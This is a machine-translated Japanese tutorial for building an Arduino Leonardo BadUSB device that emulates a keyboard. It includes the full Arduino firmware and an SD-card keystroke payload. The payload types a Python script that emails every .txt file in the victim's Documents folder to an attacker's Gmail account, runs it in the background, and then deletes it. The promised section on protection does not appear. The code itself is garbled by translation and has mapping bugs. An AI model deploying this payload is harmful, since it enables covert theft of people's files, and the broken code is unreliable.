Arduinoキーボードエクスプロイトデモ（HID）と防止

このプロジェクトについて

このプロジェクトでは、Arduino Leonardoを使用して、HID（ヒューマンインターフェイスデバイス）を使用したUSB攻撃の可能性をシミュレートします。

このチュートリアルは、ハッカーを助けるためではなく、実際の危険とそれらの危険から身を守る方法を示すために作成しました。このデバイスは、ハッカー向けのどのプラットフォームでも使用できるデバイスではなく、より詳細な概念実証です。

次のことを学びます：

• arduinoleonardoを使用してキーボードをエミュレートする方法
• SDカードからデータを読み取る方法
• ファイルをスキャンしてメールで送信するPythonスクリプトを作成する方法
• USBハッキングデバイスから身を守る方法

ステップ1：材料

パーツ：

1。 Arduino leonardo

2。マイクロUSBカードリーダー

3。数GBのSDカード

4。 のような押しボタン この 1つ（VCC、グラウンド、信号）

5。メス-オスおよびメス-メスのジャンパーケーブル

6。マイクロUSB-USBケーブル

ステップ2：デバイスを構築する

構築手順の前に、動作原理を確認しましょう：

Arduino leonardoは、ヒューマンインターフェイスデバイス（HID）のように動作できるため、マウスとキーボードをエミュレートできます。この機能を使用して、ターミナル（UBUNTU linux）を開き、ユーザーのホームフォルダーcopy.txtファイル内の/ Documentsフォルダーにアクセスして、誰かに電子メールで送信する小さなスクリプトを作成します。詳細を知りたい場合は、次のステップを確認してください。

デモデバイスなので、物事は本当にシンプルなので、何もはんだ付けするつもりはありません。

組み立て手順

始める前に、添付ファイル、フリッツ回路図、および必要なすべてのファイルを確認しました

1。コンポーネントを組み立てます：

*マイクロUSBケーブルをarduinoに接続します

*キースイッチをarduinoに接続します（アース、vcc、出力モジュールをD8に接続します）

*カードリーダーをarduinoに接続します（ICSPヘッダーを使用）。 Arduino leonardoにはデジタルピンに接続されたICSPヘッダーがないため、カードリーダーをICSPヘッダーに接続する必要があります。 ICSPのいくつかの図面はここにあります：https：//learn.sparkfun.com/tutorials/installing-an .... SSピンをデジタルピン10に接続します

2. arduinoコードを取得します 、githubで私のarduinoリポジトリのクローンを作成できます：https：//github.com/danionescu0/arduinoそしてprojects / keyboard_exploitにアクセスするか以下から入手してください：

  #include "Keyboard.h" #include "SPI.h" #include "SD.h" String filenameOnCard ="hack.txt"; String sleepCommandStartingPoint ="Sleep ::"; String commandStartingPoint ="Command ::"; int delayBetweenCommands =10; const int buttonPin =8; const int chipSelect =10; int previousButtonState =HIGH; void setup（）{pinMode（buttonPin、INPUT）; Serial.begin（9600）; Keyboard.begin（）; if（！SD.begin（chipSelect））{Serial.println（ "カードが失敗したか、存在しません！"）;戻る; }} void loop（）{int buttonState =digitalRead（buttonPin）; if（（buttonState！=previousButtonState）&&（buttonState ==HIGH））{sdFileToKeyboard（）; Serial.println（ "アップロード済み！"）; delay（500）; } previousButtonState =buttonState;} void sdFileToKeyboard（）{ファイルdataFile =SD.open（filenameOnCard）; if（！dataFile）{Serial.println（ "指定されたファイル名がSDカードに存在しません。filenameOnCardを確認してください！"）; }文字列行; while（dataFile.available（））{line =dataFile.readStringUntil（ '\ n'）; Serial.println（line）; sendToKeyboard（line）; } dataFile.close（）;} void sendToKeyboard（String line）{String workingLine =line; if（workingLine.indexOf（sleepCommandStartingPoint）！=-1）{sleepFor（line）;戻る; } if（workingLine.indexOf（commandStartingPoint）==-1）{Serial.print（ "Text："）; Serial.println（line）; Keyboard.println（line）; pressEnter（）;戻る; } Serial.println（ "コマンド："）; int charPosition =commandStartingPoint.length（）; int lineLength =line.length（）; workingLine + ="、"; while（workingLine！=""）{workingLine =workingLine.substring（charPosition）; Serial.print（ "WorkingLine："）; Serial.println（workingLine）; int specialCommandDelimiterPosition =workingLine.indexOf（ "、"）;文字列コマンド=workingLine.substring（0、specialCommandDelimiterPosition）; charPosition =specialCommandDelimiterPosition + 1; if（command！=""）{Serial.print（ "Command found："）; Serial.println（command）; Keyboard.press（getCommandCode（command））; delay（delayBetweenCommands）; }} Keyboard.releaseAll（）; delay（delayBetweenCommands）;} void pressEnter（）{Keyboard.press（KEY_RETURN）; Keyboard.releaseAll（）;} void sleepFor（String line）{int sleepAmount =line.substring（sleepCommandStartingPoint.length（）、line.length（））。toInt（）; Serial.print（ "Sleeping for："）; Serial.println（sleepAmount）; delay（sleepAmount）;} char getCommandCode（String text）{char textCharacters [2]; text.toCharArray（textCharacters、2）; char code =textCharacters [0];コード=（テキスト=="KEY_LEFT_CTRL"）？ KEY_LEFT_CTRL：コード;コード=（テキスト=="KEY_LEFT_SHIFT"）？ KEY_LEFT_SHIFT：コード;コード=（テキスト=="KEY_LEFT_ALT"）？ KEY_LEFT_ALT：コード;コード=（テキスト=="KEY_UP_ARROW"）？ KEY_UP_ARROW：コード;コード=（テキスト=="KEY_DOWN_ARROW"）？ KEY_DOWN_ARROW：コード;コード=（テキスト=="KEY_LEFT_ARROW"）？ KEY_LEFT_ARROW：コード;コード=（テキスト=="KEY_RIGHT_ARROW"）？ KEY_RIGHT_ARROW：コード;コード=（テキスト=="KEY_RIGHT_GUI"）？ KEY_RIGHT_GUI：コード;コード=（テキスト=="KEY_BACKSPACE"）？ KEY_BACKSPACE：コード;コード=（テキスト=="KEY_TAB"）？ KEY_TAB：コード;コード=（テキスト=="KEY_RETURN"）？ KEY_RETURN：コード;コード=（テキスト=="KEY_ESC"）？ KEY_ESC：コード;コード=（テキスト=="KEY_INSERT"）？ KEY_INSERT：コード;コード=（テキスト=="KEY_DELETE"）？ KEY_DELETE：コード;コード=（テキスト=="KEY_PAGE_UP"）？ KEY_PAGE_UP：コード;コード=（テキスト=="KEY_PAGE_DOWN"）？ KEY_PAGE_DOWN：コード;コード=（テキスト=="KEY_HOME"）？ KEY_HOME：コード;コード=（テキスト=="KEY_END"）？ KEY_END：コード;コード=（テキスト=="KEY_CAPS_LOCK"）？ KEY_CAPS_LOCK：コード;コード=（テキスト=="KEY_F1"）？ KEY_F1：コード;コード=（テキスト=="KEY_F2"）？ KEY_F2：コード;コード=（テキスト=="KEY_F3"）？ KEY_F3：コード;コード=（テキスト=="KEY_F4"）？ KEY_F4：コード;コード=（テキスト=="KEY_F5"）？ KEY_F5：コード;コード=（テキスト=="KEY_F6"）？ KEY_F6：コード;コード=（テキスト=="KEY_F7"）？ KEY_F7：コード;コード=（テキスト=="KEY_F8"）？ KEY_F8：コード;コード=（テキスト=="KEY_F9"）？ KEY_F9：コード;コード=（テキスト=="KEY_F10"）？ KEY_F10：コード;コード=（テキスト=="KEY_F11"）？ KEY_F1：コード;コード=（テキスト=="KEY_F12"）？ KEY_F2：コード; 

 

リターンコード;}  

3。コードをarduinoにアップロードします。必ず、9600ボーレート、シリアルポート、およびarduino leonardo を選択してください。

4。 FAT16またはFAT32を使用してSDカードをフォーマットします

5。上からgithubリポジトリのクローンを作成した場合は、 コピー カード上のhack.txtファイル（ファイルが以下にリストされていない場合）：

  Command ::KEY_LEFT_CTRL、KEY_LEFT_ALT、tSleep ::500vi hack.pySleep ::300Command ::KEY_INSERTimport smtplibimport glob、osfrom os.path import Expanduserfrom email.MIMEMultipart import MIMEMultipartfrom email.MIMEBase import MIMEBasefrom email.MIMEText import MIMETextfrom email.Utils import COMMASPACE、formatdatefrom email import Encoderssmtp_user ='sender_gmail_address' smtp_pass ='sender_gmail_password' to_address ='receiver_address' scan_documents_location ='Documents' subject =body ='ハッキングされたコンピューターからのファイル' header ='To：{0} \ nFrom： {1} \ n件名：{2} \ n'.format（to_address、smtp_user、subject）def sendMail（to、subject、text、files =[]）：msg =MIMEMultipart（）msg ['From'] =smtp_user msg ['To'] =COMMASPACE.join（to）msg ['Date'] =formatdate（localtime =True）msg ['Subject'] =サブジェクトmsg.attach（MIMEText（text））ファイル内のファイル：part =MIMEBase （ 'application'、 "octet-stream"）part.set_payload（open（file、 "rb"）。read（））Encoders.encode_base64（par t）part.add_header（ 'Content-Disposition'、 '添付ファイル; filename ="％s" '％os.path.basename（file））msg.attach（part）server =smtplib.SMTP（' smtp.gmail.com：587'）server.starttls（）server.login（smtp_user、 smtp_pass）server.sendmail（smtp_user、to、msg.as_string（））server.quit（）sendMail（[to_address]、subject、body、glob.glob（ "{0} / {1}/*。txt".format （expanduser（ "〜"）、scan_documents_location）））Sleep ::50Command ::KEY_ESCSleep ::100：xSleep ::500nohup python hack.py＆Sleep ::700rm -rf hack.pySleep ::400Command ::KEY_LEFT_ALT、KEY_F4  

  smtp_user ='sender_email_addr' smtp_pass ='sender_password' to_address ='receiver_address'